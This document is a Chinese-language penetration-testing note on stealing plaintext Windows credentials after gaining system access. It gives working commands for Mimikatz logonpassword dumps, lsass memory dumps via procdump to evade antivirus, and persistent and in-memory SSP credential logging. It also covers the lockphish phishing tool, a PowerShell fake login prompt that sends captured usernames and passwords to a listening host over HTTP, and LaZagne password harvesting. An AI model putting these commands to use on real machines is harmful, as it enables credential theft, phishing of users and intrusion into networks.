windows 下窃取明文凭证笔记(Mimikatz)
List
1.Mimikatz
直接抓取明文
2.内存转储读取密码
3.Mimikataz
之 SSP
3.1 注册SSP
的DLL
3.2 内存加载SSP
4.钓鱼记录明文
4.1 lockphish
项目
4.2 Powershell
简单钓凭证
5.LaZagne
神器
Tips: 在后渗透测试中当拿到机器系统权限时需要用到明文密码来进行横向移动等操作,来对内网进行全面渗透。
0x1 Mimikatz 直接抓取明文
操作系统:Windows 7(x64)。
Mimikatz
需要管理员权限运行。
privilege::debug
sekurlsa::logonpasswords
将 mimikatz
输出的明文重定向到本地文件。
mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit >> log.txt
0x2 内存转储读取密码
操作系统:Windows 7(x64)。
2.1 在任务管理转储 lsass.dmp
然后用 Mimikatz
加载导出来的内存再抓 hash
明文。
privilege::debug
sekurlsa::minidump c:\users\ppbibo\appdata\local\temp\lsass.dmp
sekurlsa::logonpasswords
2.2 Procdump 导出 lsass.dmp
Procdump
是微软的官方工具,可以用 procdump
导出 lsass.dmp
后拖回本地抓取密码来规避杀软。
procdump.exe -accepteula -ma lsass.exe lsass.dmp
成功导出 lsass.dmp
文件。
0x3 Mimikataz 之 SSP
在某次渗透中拿到 Windows Server 2016
主机发现读取不到明文,所以使用该方法来拿到管理员 Administrator
的密码。
操作系统:Windows 7(x64)。
3.1 注册SSP的DLL
Local Security Authority,用于身份认证,常见进程为lsass.exe 特别的地方在于LSA是可扩展的,在系统启动的时候SSP会被加载到进程lsass.exe中. 这相当于我们可以自定义一个dll,在系统启动的时候被加载到进程lsass.exe
注册表位置:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
LSA
项中的Security Packages
键值中存贮着相关SSP
的DLL
文件。
将 Mimikatz
的 mimilib.dll
复制到 System32
目录下。
点击确定关机重启,登陆会在 C:\Windows\System32
目录下生成一个 kiwissp.log
文件,并记录了登陆的账号密码。
3.2 内存加载SSP
利用
Mimikatz
中的misc::memssp
加载mimilib
至内存中去,加载至内存的好处就是无需重启系统,缺点在于不利于持续化。
privilege::debug
misc::memssp
锁定计算机管理员登陆之后会在C:\Windows\System32
目录下生成 mimilsa.log
文件并记录账号密码。
Tips: 关机重启该方法就会失效。在 Windows Server 2006
中内存加载SSP
方法测试失败会出现服务器卡死、短暂无法远程连接服务器等问题。
0x4 钓鱼记录明文
钓鱼记录明文更偏向于社工技巧缺点就是破绽较大。
4.1 lockphish 项目
lockphish
是一个自动化的工具,它使用Web
界面进行远程的社会工程学钓鱼,并且可规避了免杀的问题。
Tips: 测试时操作系统为 Windows 7,该登陆界面更适合用于Windows 10。
下载并运行 lockphish
项目,首次运行需要下载 ngrok
等待时间较长。
git clone https://github.com/thelinuxchoice/lockphish
cd lockphish
sudo bash lockphish.sh
该项目运行时默认重定向到 youtube
并且网页中加载为 google
域的静态文件,导致国内访问可能会出现卡死,加载失败等问题。
成功记录了账号密码。
Tips: 针对上方的问题可以将静态资源文件添加到本地或者国内知名站点来引用或自行优化。
4.2 Powershell 简单钓凭证
操作系统 : Windows Server 2012。
该方式并没有验证密码是否有效。
$creds = $host.ui.PromptForCredential("Login Required","Enter username and password.", "$env:username","NewBiosUserName");
$v=$creds.GetNetworkCredential() | Format-List * | Out-String
$v1=$v -replace "\r\n","-" -replace " ",""
Invoke-WebRequest -Uri "http://192.168.200.73/$v1"
# Write-Host -NoNewline $v1.Trim("-")
在物理机Mac
电脑先 nc
监听 80
端口。
$ nc -l 80
在 Windows Server 2012
运行 demo.ps1
。
运行弹出身份认证界面并将输出的账号密码域打印出来。
参考在 PowerShell 中使用 Invoke-WebRequest 。
0x5 LaZagne 神器
该工具支持抓取 Windows
上的22款软件,Linux/Unix-Like OS
上的12款软件密码。
使用方法
获取所有密码
laZagne.exe all
只获取浏览器记住的密码
laZagne.exe browsers
将输出保存到文件
laZagne.exe all -oN
更多有趣的文章参考:
用钓鱼攻击Windows凭据
Powershell基础认证钓鱼与捕获
九种姿势运行Mimikatz
使用Microsoft.com域绕过防火墙并执行有效负载